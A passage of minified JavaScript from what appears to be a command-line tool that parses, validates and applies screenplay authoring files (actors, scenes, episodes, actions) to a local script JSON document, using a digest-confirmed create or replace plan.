hd=class{lines;index=0;constructor(t){this.lines=t.split(/\r?\n/).map((n,o)=>({raw:n.replace(/^\s+/,""),line:o+1})).filter(n=>n.raw.trim()!=="")}peek(){let t=this.lines[this.index];return t||L("Unexpected end of authoring file.",this.lines.at(-1)?.line??1,"<eof>"),t}take(){let t=this.peek();return this.index++,t}tag(t,n){let o=this.take(),i=gd(o.raw,o.line);return(!i||i.name!==t||i.closing!==n)&&L(`Expected ${n?"</":"<"}${t}>.`,o.line,o.raw),i}record(){let t=this.take();return Ki(t.raw,t.line)}nextTag(){let t=this.peek();return gd(t.raw,t.line)}nextRecord(){let t=this.peek();return t.raw.startsWith("[")?Ki(t.raw,t.line):null}};function yd(e){return e===null||typeof e=="string"||typeof e=="number"||typeof e=="boolean"?!0:Array.isArray(e)?e.every(yd):typeof e=="object"&&Object.values(e).every(yd)}function ni(e){let t={},n=e.nextRecord();if(n?.type==="extensions"){e.record();let o={},i=null;for(;(n=e.nextRecord())?.type==="extend";){let r=e.record();(r.slots.length!==1||Object.hasOwn(o,r.slots[0]))&&L("extend record is invalid or duplicated.",r.source.line,r.type);let s=r.slots[0];i!==null&&i>=s&&L("extend keys must use ascending canonical order.",r.source.line,s);let c;try{c=JSON.parse(r.content)}catch{L("extend content must be JSON.",r.source.line,r.content)}yd(c)||L("extend value must be JSON-compatible.",r.source.line,r.content),o[s]=c,i=s}t.extend=o}if(n=e.nextRecord(),n?.type==="aliases"){e.record();let o=[];for(;(n=e.nextRecord())?.type==="alias";){let i=e.record();i.slots.length!==0&&L("alias takes no slots.",i.source.line,i.type),i.content===""&&L("alias must not be empty.",i.source.line,i.type),o.includes(i.content)&&L("alias must not be duplicated.",i.source.line,i.content),o.push(i.content)}t.aliases=o}if(n=e.nextRecord(),n?.type==="prompt"){let o=e.record();(o.slots.length!==3||o.slots.some(r=>r===""))&&L("prompt requires non-empty target, process, and contrast.",o.source.line,o.type);let i=o.slots[0];!V("actor",i)&&!V("location",i)&&!V("prop",i)&&L("prompt target must be an asset ID.",o.source.line,i),t.prompt={target:i,process:o.slots[1],contrast:o.slots[2]}}return t}function ud(e,t){return e!=="featured"&&e!=="background"&&L("Importance is invalid.",t,e),e}function IE(e,t){if(e!==void 0)return e!=="\u4E3B\u89D2"&&e!=="\u914D\u89D2"&&L("Role type is invalid.",t,e),e}function Ed(e,t){return e==="default"||V("state",e)?e:L("State ID is invalid.",t,e)}function AE(e){let t=e.tag("create",!1);De(t,[]);let n=[],o=new Map,i=null,r=0,s=a=>{if(i===null)return;let d=o.get(i);(!d||d.states.length===0||d.states[0].state_id!=="default")&&L("A new asset must be followed immediately by its default state.",a,i),i=null};for(;e.nextTag()?.name!=="create"||e.nextTag()?.closing!==!0;){let a=ni(e),d=e.record();if(d.type==="actor"){r>0&&L("Create declarations are not in canonical order.",d.source.line,d.type),s(d.source.line),a.prompt!==void 0&&L("prompt cannot modify an asset.",d.source.line,d.type),(d.slots.length<3||d.slots.length>4||!V("actor",d.slots[0]))&&L("actor declaration is invalid.",d.source.line,d.type);let p=IE(d.slots[3],d.source.line),l={actor_id:d.slots[0],actor_name:d.slots[1],importance:ud(d.slots[2],d.source.line),description:d.content,states:[],...p===void 0?{}:{role_type:p},...a.aliases===void 0?{}:{aliases:a.aliases},...a.extend===void 0?{}:{extend:a.extend}};l.aliases?.includes(l.actor_name)&&L("An alias must differ from the asset name.",d.source.line,l.actor_name),n.push({kind:"actor",value:l}),o.set(l.actor_id,l),i=l.actor_id}else if(d.type==="location"||d.type==="prop"){let p=d.type==="location"?1:2;p<r&&L("Create declarations are not in canonical order.",d.source.line,d.type),r=p,s(d.source.line),a.prompt!==void 0&&L("prompt cannot modify an asset.",d.source.line,d.type);let l=d.type;if((d.slots.length!==3||(l==="location"?!V("location",d.slots[0]):!V("prop",d.slots[0])))&&L(`${l} declaration is invalid.`,d.source.line,d.type),l==="location"){let f=d.slots[0];V("location",f)||L("location ID is invalid.",d.source.line,f);let u={location_id:f,location_name:d.slots[1],importance:ud(d.slots[2],d.source.line),description:d.content,states:[],...a.aliases===void 0?{}:{aliases:a.aliases},...a.extend===void 0?{}:{extend:a.extend}};u.aliases?.includes(u.location_name)&&L("An alias must differ from the asset name.",d.source.line,u.location_name),n.push({kind:l,value:u}),o.set(u.location_id,u),i=u.location_id}else{let f=d.slots[0];V("prop",f)||L("prop ID is invalid.",d.source.line,f);let u={prop_id:f,prop_name:d.slots[1],importance:ud(d.slots[2],d.source.line),description:d.content,states:[],...a.aliases===void 0?{}:{aliases:a.aliases},...a.extend===void 0?{}:{extend:a.extend}};u.aliases?.includes(u.prop_name)&&L("An alias must differ from the asset name.",d.source.line,u.prop_name),n.push({kind:l,value:u}),o.set(u.prop_id,u),i=u.prop_id}}else if(d.type==="state"){(d.slots.length!==3||a.aliases!==void 0||a.prompt!==void 0)&&L("state declaration is invalid.",d.source.line,d.type);let p=d.slots[0],l=o.get(p);l&&i!==p&&L("States for a new asset must immediately follow that asset.",d.source.line,p),l||(s(d.source.line),r=3);let f={state_id:Ed(d.slots[1],d.source.line),state_name:d.slots[2],description:d.content,...a.extend===void 0?{}:{extend:a.extend}};l?(l.states.length===0&&f.state_id!=="default"&&L("The first state of a new asset must be default.",d.source.line,f.state_id),l.states.push(f)):n.push({kind:"state",ownerId:p,value:f})}else s(d.source.line),L("Unknown create declaration.",d.source.line,d.type)}s(e.peek().line);let c=e.tag("create",!0);return De(c,[]),n}function kE(e,t){let n=e.indexOf("/"),o=n<0?e:e.slice(0,n);if(V("actor",o))return n<0?{actor_id:o}:{actor_id:o,state_id:Ed(e.slice(n+1),t)};let i=e.indexOf(":"),r=i<0?e:e.slice(0,i);return["system","broadcast","offscreen","group"].includes(r)?i<0?{kind:r}:{kind:r,label:e.slice(i+1)}:L("Speaker is invalid.",t,e)}function uf(e){let t=ni(e);t.aliases!==void 0&&L("aliases cannot modify an Action.",e.peek().line,"aliases");let n=e.record();return n.type==="act"||n.type==="trans"?((n.slots.length!==1||!V("action",n.slots[0]))&&L("Narrative Action record is invalid.",n.source.line,n.type),{action_id:n.slots[0],type:n.type==="act"?"action":"transition",content:n.content,...t.extend===void 0?{}:{extend:t.extend},...t.prompt===void 0?{}:{transition_prompt:t.prompt}}):n.type!=="dlg"&&n.type!=="think"?L("Unknown Action record.",n.source.line,n.type):((n.slots.length!==2&&n.slots.length!==3||!V("action",n.slots[0]))&&L("Speaking Action record is invalid.",n.source.line,n.type),{action_id:n.slots[0],type:n.type==="dlg"?"dialogue":"inner_thought",speaker:kE(n.slots[1],n.source.line),content:n.content,...n.slots.length===3?{parenthetical:n.slots[2]}:{},...t.extend===void 0?{}:{extend:t.extend},...t.prompt===void 0?{}:{transition_prompt:t.prompt}})}function fd(e,t){e.length===0&&L("Scene reference needs at least one state.",t,"<empty>");let n=e.map(o=>Ed(o,t));return new Set(n).size!==n.length&&L("Scene reference repeats a state.",t,n.join(",")),n.sort()}function wd(e,t,n,o){De(t,n===void 0?["id","parent"]:["id"]);let i=t.attrs.get("id")??"";V("scene",i)||L("Scene ID is invalid.",t.line,i);let r=t.attrs.get("parent")??n;r!==void 0&&!V("episode",r)&&L("Scene parent must be an Episode ID.",t.line,r);let s,c,a=[],d=[],p=new Set,l=new Set,f=0;for(;e.nextTag()?.name!=="body";){let m=e.record(),g=m.type==="environment"?0:m.type==="location"?1:m.type==="cast"?2:m.type==="prop"?3:-1;g<f&&L("Scene records are not in canonical order.",m.source.line,m.type),f=g,m.type==="environment"?(s!==void 0&&L("Scene environment is duplicated.",m.source.line,m.type),m.slots.length>2&&L("environment has too many slots.",m.source.line,m.type),s={...m.slots[0]===void 0?{}:{space:m.slots[0]},...m.slots[1]===void 0?{}:{time:m.slots[1]}}):m.type==="location"?(c!==void 0&&L("Scene location is duplicated.",m.source.line,m.type),m.slots.length===0?c=null:(V("location",m.slots[0])||L("Location ref ID is invalid.",m.source.line,m.slots[0]),c={location_id:m.slots[0],state_ids:fd(m.slots.slice(1),m.source.line)})):m.type==="cast"?(V("actor",m.slots[0])||L("Cast ref ID is invalid.",m.source.line,m.slots[0]??""),p.has(m.slots[0])&&L("Scene repeats an actor reference.",m.source.line,m.slots[0]),p.add(m.slots[0]),a.push({actor_id:m.slots[0],state_ids:fd(m.slots.slice(1),m.source.line)})):m.type==="prop"?(V("prop",m.slots[0])||L("Prop ref ID is invalid.",m.source.line,m.slots[0]??""),l.has(m.slots[0])&&L("Scene repeats a prop reference.",m.source.line,m.slots[0]),l.add(m.slots[0]),d.push({prop_id:m.slots[0],state_ids:fd(m.slots.slice(1),m.source.line)})):L("Unknown scene header record.",m.source.line,m.type)}c===void 0&&L("Scene must declare location or [location].",e.peek().line,i);let u=e.tag("body",!1);De(u,[]);let y=[];for(;e.nextTag()?.name!=="body"||e.nextTag()?.closing!==!0;)y.push(uf(e));return De(e.tag("body",!0),[]),De(e.tag("scene",!0),[]),{...r===void 0?{}:{parent:r},value:{scene_id:i,...s===void 0?{}:{environment:s},location:c,actors:a,props:d,actions:y,...o===void 0?{}:{extend:o}}}}function _d(e,t,n){De(t,["id"]);let o=t.attrs.get("id")??"";V("episode",o)||L("Episode ID is invalid.",t.line,o);let i,r,s=[],c=0;for(;e.nextTag()?.name!=="episode"||e.nextTag()?.closing!==!0;){let a=ni(e);(a.aliases!==void 0||a.prompt!==void 0)&&L("Invalid episode child modifier.",e.peek().line,"modifier");let d=e.nextTag();if(d?.name==="scene"&&!d.closing){c=2,e.take(),s.push(wd(e,d,o,a.extend).value);continue}a.extend!==void 0&&L("extend must precede a scene here.",e.peek().line,"extend");let p=e.record(),l=p.type==="title"?0:p.type==="synopsis"?1:-1;l<c&&L("Episode records are not in canonical order.",p.source.line,p.type),c=l,p.type==="title"?(i!==void 0&&L("Episode title is duplicated.",p.source.line,p.type),p.slots.length!==0&&L("Episode title takes no slots.",p.source.line,p.type),i=p.content):p.type==="synopsis"?(r!==void 0&&L("Episode synopsis is duplicated.",p.source.line,p.type),p.slots.length!==0&&L("Episode synopsis takes no slots.",p.source.line,p.type),r=p.content):L("Unknown episode record.",p.source.line,p.type)}return De(e.tag("episode",!0),[]),{episode_id:o,...i===void 0?{}:{title:i},...r===void 0?{}:{synopsis:r},scenes:s,...n===void 0?{}:{extend:n}}}function md(e,t){let n=e.attrs.get("range")??"",o=n.split("..");return(o.length!==2||!o[0]||!o[1]||!V(t,o[0])||!V(t,o[1]))&&L(`Span range must contain two ${t} IDs.`,e.line,n),[o[0],o[1]]}function bE(e,t,n){De(t,[]);let o,i,r,s,c,a,d,p,l=[],f=0;for(;e.nextTag()?.name!=="script"||e.nextTag()?.closing!==!0;){let u=ni(e);(u.aliases!==void 0||u.prompt!==void 0)&&L("Invalid script child modifier.",e.peek().line,"modifier");let y=e.nextTag();if(y?.name==="episode"&&!y.closing){f=8,e.take(),l.push(_d(e,y,u.extend));continue}u.extend!==void 0&&L("extend must precede an episode here.",e.peek().line,"extend");let m=e.record(),g=m.type==="title"?0:m.type==="worldview"?1:m.type==="worldview-raw"?2:m.type==="style"?3:m.type==="synopsis"?4:m.type==="logline"?5:m.type==="theme"?6:m.type==="main-characters"||m.type==="main-character"?7:-1;g<f&&L("Script records are not in canonical order.",m.source.line,m.type),f=g,m.type!=="main-character"&&m.slots.length!==0&&L("Script metadata record takes no slots.",m.source.line,m.type),m.type==="title"?(o!==void 0&&L("Script title is duplicated.",m.source.line,m.type),o=m.content):m.type==="worldview"?(i!==void 0&&L("Script worldview is duplicated.",m.source.line,m.type),i=m.content):m.type==="worldview-raw"?(r!==void 0&&L("Script worldview-raw is duplicated.",m.source.line,m.type),r=m.content):m.type==="style"?(s!==void 0&&L("Script style is duplicated.",m.source.line,m.type),s=m.content):m.type==="synopsis"?(c!==void 0&&L("Script synopsis is duplicated.",m.source.line,m.type),c=m.content):m.type==="logline"?(a!==void 0&&L("Script logline is duplicated.",m.source.line,m.type),a=m.content):m.type==="theme"?(d!==void 0&&L("Script theme is duplicated.",m.source.line,m.type),d=m.content):m.type==="main-characters"?(p!==void 0&&L("Script main-characters is duplicated.",m.source.line,m.type),p=[]):m.type==="main-character"&&p!==void 0&&m.slots.length===2&&m.content===""?p.push({name:m.slots[0],role:m.slots[1]}):L("Unknown script record.",m.source.line,m.type)}return De(e.tag("script",!0),[]),(o===void 0||i===void 0||s===void 0)&&L("Script target needs title, worldview, and style.",e.peek().line,"script"),{kind:"script",value:{title:o,worldview:i,style:s,episodes:l,...r===void 0?{}:{worldview_raw:r},...c===void 0?{}:{synopsis:c},...a===void 0?{}:{logline:a},...d===void 0?{}:{theme:d},...p===void 0?{}:{main_characters:p},...n===void 0?{}:{extend:n}}}}function ff(e){let t=new hd(e),n=t.tag("authoring",!1);De(n,["version"]),n.attrs.get("version")!=="1"&&L("authoring version must be 1.",1,n.attrs.get("version")??"<missing>");let o=t.nextTag()?.name==="create"?AE(t):[],i=[];for(;t.nextTag()?.name!=="authoring"||t.nextTag()?.closing!==!0;){let s=ni(t);(s.aliases!==void 0||s.prompt!==void 0)&&L("Invalid target modifier.",t.peek().line,"modifier");let c=t.take(),a=gd(c.raw,c.line);if((!a||a.closing)&&L("Expected an authoring target.",c.line,c.raw),a.name==="script")i.push(bE(t,a,s.extend));else if(a.name==="episode")i.push({kind:"episode",value:_d(t,a,s.extend)});else if(a.name==="scene"){let d=wd(t,a,void 0,s.extend);d.parent||L("Top-level scene needs parent.",c.line,c.raw),i.push({kind:"scene",parent:d.parent,value:d.value})}else if(a.name==="episode-span"){s.extend!==void 0&&L("A span cannot carry node extensions.",c.line,c.raw),De(a,["range"]);let[d,p]=md(a,"episode"),l=[];for(;t.nextTag()?.name!=="episode-span"||t.nextTag()?.closing!==!0;){let f=ni(t);(f.aliases!==void 0||f.prompt!==void 0)&&L("Invalid episode child modifier.",t.peek().line,"modifier");let u=t.tag("episode",!1);l.push(_d(t,u,f.extend))}De(t.tag("episode-span",!0),[]),i.push({kind:"episode-span",from:d,through:p,values:l})}else if(a.name==="scene-span"){s.extend!==void 0&&L("A span cannot carry node extensions.",c.line,c.raw),De(a,["parent","range"]);let[d,p]=md(a,"scene"),l=a.attrs.get("parent")??L("scene-span needs parent.",c.line,c.raw);V("episode",l)||L("scene-span parent must be an Episode ID.",c.line,l);let f=[];for(;t.nextTag()?.name!=="scene-span"||t.nextTag()?.closing!==!0;){let u=ni(t);(u.aliases!==void 0||u.prompt!==void 0)&&L("Invalid scene child modifier.",t.peek().line,"modifier");let y=t.tag("scene",!1);f.push(wd(t,y,l,u.extend).value)}De(t.tag("scene-span",!0),[]),i.push({kind:"scene-span",parent:l,from:d,through:p,values:f})}else if(a.name==="action-span"){s.extend!==void 0&&L("A span cannot carry node extensions.",c.line,c.raw),De(a,["parent","range"]);let[d,p]=md(a,"action"),l=a.attrs.get("parent")??L("action-span needs parent.",c.line,c.raw);V("scene",l)||L("action-span parent must be a Scene ID.",c.line,l),De(t.tag("body",!1),[]);let f=[];for(;t.nextTag()?.name!=="body"||t.nextTag()?.closing!==!0;)f.push(uf(t));De(t.tag("body",!0),[]),De(t.tag("action-span",!0),[]),i.push({kind:"action-span",parent:l,from:d,through:p,values:f})}else L("Unknown authoring target.",c.line,a.name)}De(t.tag("authoring",!0),[]),(t.index!==t.lines.length||i.length===0)&&L("Authoring file has trailing content or no targets.",t.peek().line,"<root>");let r=i[0].kind;return i.every(s=>s.kind===r)||L("All targets must have the same kind.",1,r),{declarations:o,targets:i,targetKind:r}}function In(e){if(Array.isArray(e))return e.map(t=>In(t));if(oe(e)){let t={};for(let n of Object.keys(e).sort())t[n]=In(e[n]);return t}return e}function xd(e){if(e.length===0)return[];let t={};for(let i of e){let r=v(i.severity);t[r]=(t[r]??0)+1}let n=Object.entries(t).sort(([i],[r])=>i.localeCompare(r)).map(([i,r])=>`${i}: ${r}`),o=e[0];return[n.join("; "),`first: ${o.code} - ${o.summary}`,...o.repair_hint?[`repair: ${o.repair_hint}`]:[]]}function mf(e,t){if(!(t.ok||e!==null&&Uc(Pe(e),t)))throw new S("The proposed document is not a valid or strictly improved Script v4.",{exitCode:b,errorCode:"AUTHORING_VALIDATION_FAILED",data:{actual:t.errors.slice(0,20).map(n=>`${n.path}: ${n.message}`)}})}function Ce(e,t){throw new S(e,{exitCode:b,errorCode:"AUTHORING_APPLY_INVALID",data:{actual:t}})}function Id(e){return{ids:e.map(t=>t.action_id),counts:{episodes:0,scenes:0,actions:e.length}}}function ji(e){return{ids:e.flatMap(t=>[t.scene_id,...t.actions.map(n=>n.action_id)]),counts:{episodes:0,scenes:e.length,actions:e.reduce((t,n)=>t+n.actions.length,0)}}}function Io(e){return{ids:e.flatMap(t=>[t.episode_id,...t.scenes.flatMap(n=>[n.scene_id,...n.actions.map(o=>o.action_id)])]),counts:{episodes:e.length,scenes:e.reduce((t,n)=>t+n.scenes.length,0),actions:e.reduce((t,n)=>t+n.scenes.reduce((o,i)=>o+i.actions.length,0),0)}}}function vE(e){return e.kind==="script"?Io(e.value.episodes):e.kind==="episode"?Io([e.value]):e.kind==="episode-span"?Io(e.values):e.kind==="scene"?ji([e.value]):e.kind==="scene-span"?ji(e.values):Id(e.values)}function OE(e){return{actors:e.filter(t=>t.kind==="actor").map(t=>structuredClone(t.value)),locations:e.filter(t=>t.kind==="location").map(t=>structuredClone(t.value)),props:e.filter(t=>t.kind==="prop").map(t=>structuredClone(t.value))}}function Sd(e,t){return JSON.stringify(In(e))===JSON.stringify(In(t))}function gf(e,t){let n=new Set(e===null?[]:[...e.actors.map(d=>d.actor_id),...e.locations.map(d=>d.location_id),...e.props.map(d=>d.prop_id)]),o=new Set(e===null?[]:[...e.actors.flatMap(d=>d.states.map(p=>`${d.actor_id}/${p.state_id}`)),...e.locations.flatMap(d=>d.states.map(p=>`${d.location_id}/${p.state_id}`)),...e.props.flatMap(d=>d.states.map(p=>`${d.prop_id}/${p.state_id}`))]),i=[],r=[],s=[],c=[],a=d=>{(o.has(d)?c:s).push(d)};for(let d of t){if(d.kind==="state"){n.has(d.ownerId)&&r.push(d.ownerId),a(`${d.ownerId}/${d.value.state_id}`);continue}let p=d.kind==="actor"?d.value.actor_id:d.kind==="location"?d.value.location_id:d.value.prop_id;(n.has(p)?r:i).push(p),d.value.states.forEach(l=>{a(`${p}/${l.state_id}`)})}return{createdAssets:i,existingAssets:[...new Set(r)],createdStates:s,existingStates:c}}function hf(e){let t=new Set;for(let n of e.episodes)for(let o of n.scenes)o.location&&t.add(o.location.location_id),o.actors.forEach(i=>t.add(i.actor_id)),o.props.forEach(i=>t.add(i.prop_id)),o.actions.forEach(i=>{i.transition_prompt&&t.add(i.transition_prompt.target)});return[...e.actors.map(n=>n.actor_id),...e.locations.map(n=>n.location_id),...e.props.map(n=>n.prop_id)].filter(n=>!t.has(n))}function yf(e){return[...e.actors.flatMap(t=>[t.actor_id,...t.states.map(n=>`${t.actor_id}/${n.state_id}`)]),...e.locations.flatMap(t=>[t.location_id,...t.states.map(n=>`${t.location_id}/${n.state_id}`)]),...e.props.flatMap(t=>[t.prop_id,...t.states.map(n=>`${t.prop_id}/${n.state_id}`)]),...e.episodes.flatMap(t=>[t.episode_id,...t.scenes.flatMap(n=>[n.scene_id,...n.actions.map(o=>o.action_id)])])]}function wf(e,t){let n=e===null?[]:yf(e),o=yf(t),i=new Set(n),r=new Set(o);return{createdIds:o.filter(s=>!i.has(s)),removedIds:n.filter(s=>!r.has(s)),retainedIds:n.filter(s=>r.has(s))}}function RE(e,t){for(let n of t)if(n.kind==="actor")e.actors.some(o=>o.actor_id===n.value.actor_id)&&Ce("Declaration cannot redefine an existing actor.",[n.value.actor_id]),e.actors.push(structuredClone(n.value));else if(n.kind==="location")e.locations.some(o=>o.location_id===n.value.location_id)&&Ce("Declaration cannot redefine an existing location.",[n.value.location_id]),e.locations.push(structuredClone(n.value));else if(n.kind==="prop")e.props.some(o=>o.prop_id===n.value.prop_id)&&Ce("Declaration cannot redefine an existing prop.",[n.value.prop_id]),e.props.push(structuredClone(n.value));else{let o=e.actors.find(i=>i.actor_id===n.ownerId)??e.locations.find(i=>i.location_id===n.ownerId)??e.props.find(i=>i.prop_id===n.ownerId);o||Ce("State declaration owner was not found.",[n.ownerId]),o.states.some(i=>i.state_id===n.value.state_id)&&Ce("State declaration cannot redefine an existing state.",[`${n.ownerId}/${n.value.state_id}`]),o.states.push(structuredClone(n.value))}}function Wt(e,t,n){let o=e.indexOf(t),i=e.indexOf(n);return(o<0||i<0)&&Ce("Span endpoint was not found.",[t,n]),[Math.min(o,i),Math.max(o,i)]}function ME(e,t){if(t.kind==="script")return[0,0];if(t.kind==="episode"||t.kind==="episode-span"){let o=e.episodes.map(i=>i.episode_id);return t.kind==="episode"?Wt(o,t.value.episode_id,t.value.episode_id):Wt(o,t.from,t.through)}if(t.kind==="scene"||t.kind==="scene-span"){let o=e.episodes.flatMap(i=>i.scenes.map(r=>r.scene_id));return t.kind==="scene"?Wt(o,t.value.scene_id,t.value.scene_id):Wt(o,t.from,t.through)}let n=e.episodes.flatMap(o=>o.scenes.flatMap(i=>i.actions.map(r=>r.action_id)));return Wt(n,t.from,t.through)}function LE(e,t){let n=-1;for(let o of t){let[i,r]=ME(e,o);i<=n&&Ce("Replace targets must follow current document order without overlap.",[Sf(o)]),n=r}}function Sf(e){return e.kind==="script"?"script":e.kind==="episode"?e.value.episode_id:e.kind==="scene"?e.value.scene_id:`${e.from}..${e.through}`}function _f(e,t){if(t.kind==="script")return{...Io(e.episodes),siblings:0};if(t.kind==="episode"){let r=En(e,t.value.episode_id);return{...Io(r?[r.episode]:[]),siblings:Math.max(0,e.episodes.length-(r?1:0))}}if(t.kind==="episode-span"){let[r,s]=Wt(e.episodes.map(c=>c.episode_id),t.from,t.through);return{...Io(e.episodes.slice(r,s+1)),siblings:e.episodes.length-(s-r+1)}}if(t.kind==="scene"){let r=jn(e,t.value.scene_id),s=En(e,t.parent)?.episode;return{...ji(r?[r.scene]:[]),siblings:r?Math.max(0,r.episode.scenes.length-1):s?.scenes.length??0}}if(t.kind==="scene-span"){let r=En(e,t.parent)?.episode;if(!r)return{...ji([]),siblings:0};let[s,c]=Wt(r.scenes.map(a=>a.scene_id),t.from,t.through);return{...ji(r.scenes.slice(s,c+1)),siblings:r.scenes.length-(c-s+1)}}let n=jn(e,t.parent)?.scene;if(!n)return{...Id([]),siblings:0};let[o,i]=Wt(n.actions.map(r=>r.action_id),t.from,t.through);return{...Id(n.actions.slice(o,i+1)),siblings:n.actions.length-(i-o+1)}}function Ef(e,t){let n=vE(e),o=new Set(t.ids),i=new Set(n.ids);return{kind:e.kind,address:Sf(e),before:t.counts,after:n.counts,retainedIds:t.ids.filter(r=>i.has(r)),createdIds:n.ids.filter(r=>!o.has(r)),removedIds:t.ids.filter(r=>!i.has(r)),untouchedSiblings:t.siblings}}function NE(e,t){if(t.kind==="script"&&Ce("An existing Script v4 is not replaced through a script root.",["script"]),t.kind==="episode"){let n=En(e,t.value.episode_id);n||Ce("Episode replacement target was not found.",[t.value.episode_id]),e.episodes[n.episodeIndex]=structuredClone(t.value)}else if(t.kind==="episode-span"){let[n,o]=Wt(e.episodes.map(i=>i.episode_id),t.from,t.through);t.values.length===0&&Ce("Episode span replacement cannot be empty.",[t.from,t.through]),e.episodes.splice(n,o-n+1,...structuredClone(t.values))}else if(t.kind==="scene"){let n=jn(e,t.value.scene_id);(!n||n.episode.episode_id!==t.parent)&&Ce("Scene replacement target was not found under its parent.",[t.parent,t.value.scene_id]),n.episode.scenes[n.sceneIndex]=structuredClone(t.value)}else if(t.kind==="scene-span"){let n=En(e,t.parent)?.episode;n||Ce("Scene span parent was not found.",[t.parent]);let[o,i]=Wt(n.scenes.map(r=>r.scene_id),t.from,t.through);t.values.length===0&&Ce("Scene span replacement cannot be empty.",[t.from,t.through]),n.scenes.splice(o,i-o+1,...structuredClone(t.values))}else{let n=jn(e,t.parent)?.scene;n||Ce("Action span parent was not found.",[t.parent]);let[o,i]=Wt(n.actions.map(r=>r.action_id),t.from,t.through);t.values.length===0&&Ce("Action span replacement cannot be empty.",[t.from,t.through]),n.actions.splice(o,i-o+1,...structuredClone(t.values))}}function UE(e,t){if(t.kind==="episode")e.episodes.push(structuredClone(t.value));else if(t.kind==="scene"){let n=En(e,t.parent)?.episode;n||Ce("Scene create parent was not found.",[t.parent]),n.scenes.push(structuredClone(t.value))}else Ce("This target kind does not support create against an existing script.",[t.kind])}function xf(e){if(e.targets.length!==1||e.targets[0].kind!=="script")return Ce("Script create requires exactly one script target.",[e.targetKind]);if(e.declarations.some(n=>n.kind==="state"))return Ce("Standalone state declarations need an existing owner.",["state"]);let t=e.targets[0];return{version:4,...structuredClone(t.value),...OE(e.declarations)}}function If(e,t,n){let o;if(e===null)n!=="create"&&Ce("A missing target requires one script create target.",[n,t.targetKind]),o=xf(t);else if(n==="create"&&t.targetKind==="script")o=xf(t),Sd(o,e)||Ce("Script create retry differs from the existing script.",["script"]);else{o=structuredClone(e),n==="replace"&&LE(e,t.targets),RE(o,t.declarations);let r=t.targets.map(a=>_f(e,a));if(n==="replace")for(let a of[...t.targets].reverse())NE(o,a);else for(let a of t.targets)UE(o,a);let s=t.targets.map((a,d)=>Ef(a,r[d])),c=Pe(o);return mf(e,c),{script:o,changed:!Sd(e,o),validation:c,targets:s,declarations:gf(e,t.declarations),retainedOrphanAssets:hf(o),identity:wf(e,o)}}let i=Pe(o);return mf(e,i),{script:o,changed:e===null||!Sd(e,o),validation:i,declarations:gf(e,t.declarations),retainedOrphanAssets:hf(o),identity:wf(e,o),targets:t.targets.map(r=>{let s=e===null?{...Io([]),siblings:0}:_f(e,r);return Ef(r,s)})}}function oi(e,t){throw new S(e,{exitCode:B,errorCode:"AUTHORING_USAGE_INVALID",hint:"Choose exactly one mode and pass a regular authoring source file.",data:{expected:["scriptctl authoring write <file> (--create|--replace) [--apply --plan <digest>]"],actual:t}})}function PE(e){(!e||e==="-")&&oi("Authoring input must be a named file.",[e||"<missing>"]);let t=Af.resolve(e),n;try{n=Gr.statSync(t)}catch{throw new S("The authoring source file does not exist.",{exitCode:b,errorCode:"AUTHORING_SOURCE_UNAVAILABLE",hint:"Write the complete authoring draft to a file, then rerun the command.",data:{actual:[t]}})}n.isFile()||oi("Authoring input must be a regular file.",[t]);let o=Gr.readFileSync(t);return{absolutePath:t,bytes:o,text:o.toString("utf-8")}}function CE(e){let t=Mr(e);if(t===null)return{script:null,baseline:"missing",fingerprint:t};let n;try{n=JSON.parse(Gr.readFileSync(e,"utf-8"))}catch(i){throw new S("The local script is not valid JSON.",{exitCode:b,errorCode:"SCRIPT_JSON_INVALID",hint:"Repair the local JSON file, then rerun authoring.",data:{actual:[e,i instanceof Error?i.message:String(i)]}})}let o=js(n);return{script:o,baseline:Je(o),fingerprint:t}}function TE(e){let t=e.create===!0,n=e.replace===!0;return t===n&&oi("Choose exactly one authoring mode.",[`create=${t}`,`replace=${n}`]),t?"create":"replace"}function kf(e){return`sha256:${_e(JSON.stringify(e))}`}function VE(e){return e.targets.reduce((t,n)=>({before:{episodes:t.before.episodes+n.before.episodes,scenes:t.before.scenes+n.before.scenes,actions:t.before.actions+n.before.actions},after:{episodes:t.after.episodes+n.after.episodes,scenes:t.after.scenes+n.after.scenes,actions:t.after.actions+n.after.actions}}),{before:{episodes:0,scenes:0,actions:0},after:{episodes:0,scenes:0,actions:0}})}function $E(e){let t=e.targets.map((n,o)=>[`target[${o}]=${n.address}`,`kind=${n.kind}`,`before=${JSON.stringify(n.before)}`,`after=${JSON.stringify(n.after)}`,`retained=${JSON.stringify(n.retainedIds)}`,`created=${JSON.stringify(n.createdIds)}`,`removed=${JSON.stringify(n.removedIds)}`,`untouched_siblings=${n.untouchedSiblings}`].join(" "));t.push(`created_assets=${JSON.stringify(e.declarations.createdAssets)}`,`existing_assets=${JSON.stringify(e.declarations.existingAssets)}`,`created_states=${JSON.stringify(e.declarations.createdStates)}`,`existing_states=${JSON.stringify(e.declarations.existingStates)}`,`retained_orphan_assets=${JSON.stringify(e.retainedOrphanAssets)}`,`validation_ok=${e.validation.ok} errors=${e.validation.errors.length} warnings=${e.validation.warnings.length}`);for(let n of e.validation.errors)t.push(`validation_error=${n.path} ${n.code} ${n.message}`);for(let n of e.validation.warnings)t.push(`validation_warning=${n.path} ${n.code} ${n.message}`);return t}function DE(e,t,n,o,i){let r=ff(t.text),s=i.script===null?null:_n(i.script),c=If(s,r,n),a=`sha256:${Ad.createHash("sha256").update(t.bytes).digest("hex")}`,d={version:1,sourceDigest:a,mode:n,targetKind:r.targetKind,targets:c.targets.map(g=>g.address),baseline:i.baseline,plan:{targets:c.targets,declarations:c.declarations,retainedOrphanAssets:c.retainedOrphanAssets,identity:c.identity,validation:c.validation}},p=kf(d),l=e.apply===!0,f=v(e.plan).trim();if(l&&!f&&oi("--apply requires the exact digest returned by the current plan.",["plan=<missing>"]),!l&&f&&oi("--plan is only valid together with --apply.",[`plan=${f}`]),l&&f!==p)throw new S("The supplied plan does not match the current source, mode, targets, or script baseline.",{exitCode:b,errorCode:"AUTHORING_PLAN_MISMATCH",hint:"Review the newly computed plan, then apply its exact digest.",data:{expected:[p],actual:[f]}});l&&c.changed&&(i.script===null?Lr(o,i.fingerprint):Gt(o,i.baseline),Fe(o,c.script));let u=c.targets.map((g,w)=>`target[${w}]=${g.address} kind=${g.kind} before=${JSON.stringify(g.before)} after=${JSON.stringify(g.after)} retained=${JSON.stringify(g.retainedIds)} created=${JSON.stringify(g.createdIds)} removed=${JSON.stringify(g.removedIds)} untouched_siblings=${g.untouchedSiblings}`);return 